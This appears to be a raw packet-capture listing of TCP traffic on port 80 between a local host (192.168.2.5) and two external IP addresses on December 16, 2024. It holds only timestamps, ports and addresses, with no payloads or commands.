Dec 16, 2024 09:01:43.199980974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.200038910 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.200145960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.200262070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.200898886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.200988054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.201016903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.201092958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.202089071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.202110052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.202158928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.202199936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.203294992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.203358889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.203388929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.203473091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.204519987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.204617977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.204679966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.204679966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.205692053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.205785990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.205809116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.205921888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.206881046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.206938982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.206994057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.207046986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.208059072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.208117962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.208137989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.208194017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.209263086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.209372044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.209472895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.209547043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.210462093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.210527897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.210705042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.210802078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.211658955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.211729050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.211751938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.211827040 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.212821960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.212919950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.212963104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.213007927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.214073896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.214173079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.214193106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.214229107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.215255976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.215318918 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.215363979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.215544939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.216506004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.216561079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.216609955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.216609955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.217622042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.217719078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.217752934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.217863083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.218947887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.218955994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.218992949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.220036030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.220118046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.220155001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.220207930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.221230984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.221303940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.221326113 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.221365929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.222455025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.222490072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.222507954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.222549915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.223618984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.223700047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.223712921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.223799944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.224803925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.224869967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.224900961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.224960089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.226002932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.226090908 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.226099014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.226176023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.227188110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.227240086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.227300882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.227360010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.228374958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.228529930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.228602886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.229549885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.229652882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.229731083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.229731083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.230797052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.230880022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.231951952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.232043028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.232084990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.233167887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.233216047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.233236074 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.233490944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.234333992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.234450102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.234524012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.235552073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.235646009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.235719919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.236756086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.236896038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.236983061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.237955093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.238038063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.238106012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.239113092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.239253998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.239274025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.240395069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.240459919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.240468025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.241503000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.241600990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.241611004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.241952896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.242695093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.242799044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.244024038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.244096041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.244174957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.245223045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.245256901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.245331049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.245529890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.246309996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.246387005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.246494055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.247519970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.247612953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.247733116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.248698950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.248780966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.248832941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.249861002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.249967098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.250041962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.251072884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.251180887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.251463890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.252245903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.252402067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.253428936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.253500938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.253567934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.253599882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.253705978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.254734993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.254807949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.254831076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.254973888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.255836964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.255944014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.256035089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.257019997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.257086039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.257131100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.257215023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.258224964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.258289099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.258373022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.258423090 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.259454966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.259556055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.259581089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.259629011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.260621071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.260662079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.260696888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.260730028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.261764050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.261858940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.302277088 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.302455902 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.303345919 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.391906023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.392072916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.392433882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.392523050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.392524004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.393618107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.393691063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.393728018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.394814968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.394857883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.394926071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.395318985 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.396008968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.396135092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.396250963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.397229910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.397406101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.397480011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.398381948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.398503065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.398622036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.399558067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.399612904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.400753975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.400815964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.400904894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.401525974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.401946068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.402070045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.402277946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.403143883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.403247118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.403306961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.404335976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.404454947 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.404603004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.405540943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.405602932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.405668020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.406766891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.406862020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.407998085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.408062935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.408150911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.409090042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.409137011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.409193993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.409955025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.410290003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.410410881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.410547018 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.411511898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.411664009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.411875010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.412678003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.412766933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.412946939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.413875103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.413985014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.414032936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.415077925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.415158033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.416245937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.416311979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.416321039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.417435884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.417450905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.417495012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.417548895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.418625116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.418745041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.418761969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.419347048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.419819117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.419933081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.419980049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.421061993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.421149969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.421253920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.422240973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.422378063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.423171997 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423177004 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423219919 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423237085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.423249006 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.423261881 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423309088 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.423327923 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.423329115 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423420906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.423464060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.423469067 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423535109 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.423542023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.423556089 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423563004 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423567057 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423569918 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:43.423610926 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.423638105 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.424596071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.424798965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.424875021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.425812006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.425898075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.425972939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.426954031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.427073002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.427186966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.428189039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.428268909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.429373980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.429423094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.429456949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.430633068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.430679083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.430706024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.431341887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.431735992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.431873083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.432060003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.432914972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.433053970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.433132887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.434113979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.434241056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.435337067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.435394049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.435422897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.436518908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.436564922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.436578989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.437367916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.437710047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.437818050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.437875986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.438882113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.439028025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.439121962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.440205097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.440267086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.440406084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.441282034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.441425085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.441481113 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.442470074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.442584991 CET	80	49900	31.41.244.11	192.168.2.5
